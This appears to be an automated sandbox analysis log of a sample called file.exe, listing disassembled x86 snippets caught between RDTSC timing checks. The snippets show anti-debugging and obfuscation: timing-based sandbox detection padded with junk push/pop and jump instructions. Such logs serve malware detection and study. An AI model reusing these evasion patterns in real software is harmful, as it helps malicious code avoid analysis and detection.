Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B49E1 second address: 8B4A11 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007F8C3524AD96h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8C3524ADA6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0B40 second address: 8B0B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6B30 second address: 8B6B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524AD9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F8C3524ADB7h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8C3524ADA5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5996 second address: 8B599A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B599A second address: 8B599E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7ACD second address: 8B7AD7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C34D41AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7AD7 second address: 8B7AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F8C3524ADA8h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7AFB second address: 8B7B05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7B05 second address: 8B7B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7BCC second address: 8B7BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BADCA second address: 8BADCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BADCF second address: 8BADD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BADD5 second address: 8BADD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BADD9 second address: 8BADDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BEFD7 second address: 8BEFDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BEFDB second address: 8BEFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BEFE3 second address: 8BF004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F8C3524AD96h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF004 second address: 8BF008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BEBAD second address: 8BEBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BEBB2 second address: 8BEBD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41ADEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jbe 00007F8C34D41AD6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3A24 second address: 8C3A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3A29 second address: 8C3A61 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jmp 00007F8C34D41AE9h 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push ecx 0x0000001b pushad 0x0000001c jl 00007F8C34D41AD6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3A61 second address: 8C3A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3B14 second address: 8C3B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C34D41AE3h 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f jns 00007F8C34D41ADCh 0x00000015 pop edi 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007F8C34D41ADCh 0x00000020 ja 00007F8C34D41AD6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3B4E second address: 8C3B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3B54 second address: 8C3B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3BDD second address: 8C3BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3BE1 second address: 8C3BFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3BFF second address: 8C3C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9BDE second address: 8C9BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9BE2 second address: 8C9BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9BE6 second address: 8C9BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8FE3 second address: 8C8FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8C3524AD96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C916B second address: 8C9175 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C34D41AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9175 second address: 8C917C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C931B second address: 8C9324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9324 second address: 8C934B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007F8C3524ADB8h 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8C3524ADA4h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C95D3 second address: 8C95D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C95D7 second address: 8C95DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9A1F second address: 8C9A42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE0h 0x00000007 jmp 00007F8C34D41ADFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9A42 second address: 8C9A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8C3524AD96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCEEC second address: 8CCEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCEF2 second address: 8CCEF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCEF6 second address: 8CCF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F8C34D41ADAh 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCF0C second address: 8CCF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8580C2 second address: 8580C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8580C8 second address: 8580E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push edx 0x00000009 jns 00007F8C3524AD96h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F8C3524AD9Eh 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8580E6 second address: 8580EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF8FA second address: 8CF987 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524AD9Eh 0x00000007 pushad 0x00000008 jmp 00007F8C3524ADA5h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F8C3524ADA9h 0x0000001a pushad 0x0000001b jmp 00007F8C3524AD9Ch 0x00000020 jne 00007F8C3524AD96h 0x00000026 jmp 00007F8C3524ADA4h 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F8C3524ADA6h 0x00000033 jbe 00007F8C3524AD96h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863BE5 second address: 863C27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8C34D41AE2h 0x0000001b jmp 00007F8C34D41ADDh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3BDF second address: 8D3BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3BE3 second address: 8D3BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C34D41AE2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3D15 second address: 8D3D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3D1A second address: 8D3D30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F8C34D41AD6h 0x0000000b pop ecx 0x0000000c jnp 00007F8C34D41ADEh 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3D30 second address: 8D3D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3D3B second address: 8D3D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D49CA second address: 8D49D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D49D0 second address: 8D49D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D49D6 second address: 8D49DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881CFB second address: 881CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881CFF second address: 881D07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881D07 second address: 881D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F8C34D41AD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881D19 second address: 881D31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F8C3524AD96h 0x0000000e jmp 00007F8C3524AD9Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881D31 second address: 881D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881D35 second address: 881D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA4E8 second address: 8DA4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA663 second address: 8DA689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F8C3524ADA4h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C3524AD9Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA809 second address: 8DA844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8C34D41AD6h 0x0000000a popad 0x0000000b jmp 00007F8C34D41AE3h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8C34D41ADEh 0x00000018 jmp 00007F8C34D41ADCh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA844 second address: 8DA85B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C3524ADA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAFAD second address: 8DAFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F8C34D41AE9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB118 second address: 8DB11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB11E second address: 8DB12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jnp 00007F8C34D41AD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E09B1 second address: 8E09B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E09B5 second address: 8E09BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E09BB second address: 8E09C5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C3524AD9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E09C5 second address: 8E09E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F8C34D41AE4h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E09E0 second address: 8E09E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8530AA second address: 8530AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8530AE second address: 8530C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F8C3524ADA0h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5793 second address: 8A5797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5797 second address: 8A57B5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F8C3524AD98h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 js 00007F8C3524ADA8h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A57B5 second address: 8A57B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A57B9 second address: 6EEEBB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov cx, D002h 0x0000000f push dword ptr [ebp+122D0D09h] 0x00000015 cld 0x00000016 sub cl, FFFFFFD9h 0x00000019 call dword ptr [ebp+122D2C63h] 0x0000001f pushad 0x00000020 cld 0x00000021 xor eax, eax 0x00000023 clc 0x00000024 mov edx, dword ptr [esp+28h] 0x00000028 jl 00007F8C3524ADABh 0x0000002e jmp 00007F8C3524ADA5h 0x00000033 mov dword ptr [ebp+122D2F27h], eax 0x00000039 cmc 0x0000003a mov esi, 0000003Ch 0x0000003f mov dword ptr [ebp+122D1CDBh], edx 0x00000045 add esi, dword ptr [esp+24h] 0x00000049 jbe 00007F8C3524ADA1h 0x0000004f jmp 00007F8C3524AD9Bh 0x00000054 lodsw 0x00000056 pushad 0x00000057 push ebx 0x00000058 jne 00007F8C3524AD96h 0x0000005e pop eax 0x0000005f jns 00007F8C3524AD98h 0x00000065 popad 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a sub dword ptr [ebp+122D3AA1h], ecx 0x00000070 mov ebx, dword ptr [esp+24h] 0x00000074 jmp 00007F8C3524ADA9h 0x00000079 nop 0x0000007a pushad 0x0000007b pushad 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A585A second address: 8A5860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5B31 second address: 8A5B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5B35 second address: 8A5B3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5B3B second address: 8A5B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C3524ADA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5B53 second address: 8A5B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5D4F second address: 8A5D7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub cx, A423h 0x0000000f push 00000004h 0x00000011 mov edi, dword ptr [ebp+122D2D17h] 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5D7B second address: 8A5D81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5D81 second address: 8A5DA7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8C3524ADACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5DA7 second address: 8A5DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A60A1 second address: 8A60A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A60A7 second address: 8A60AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A60AB second address: 8A60C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F8C3524AD9Ch 0x00000011 jbe 00007F8C3524AD96h 0x00000017 rdtsc
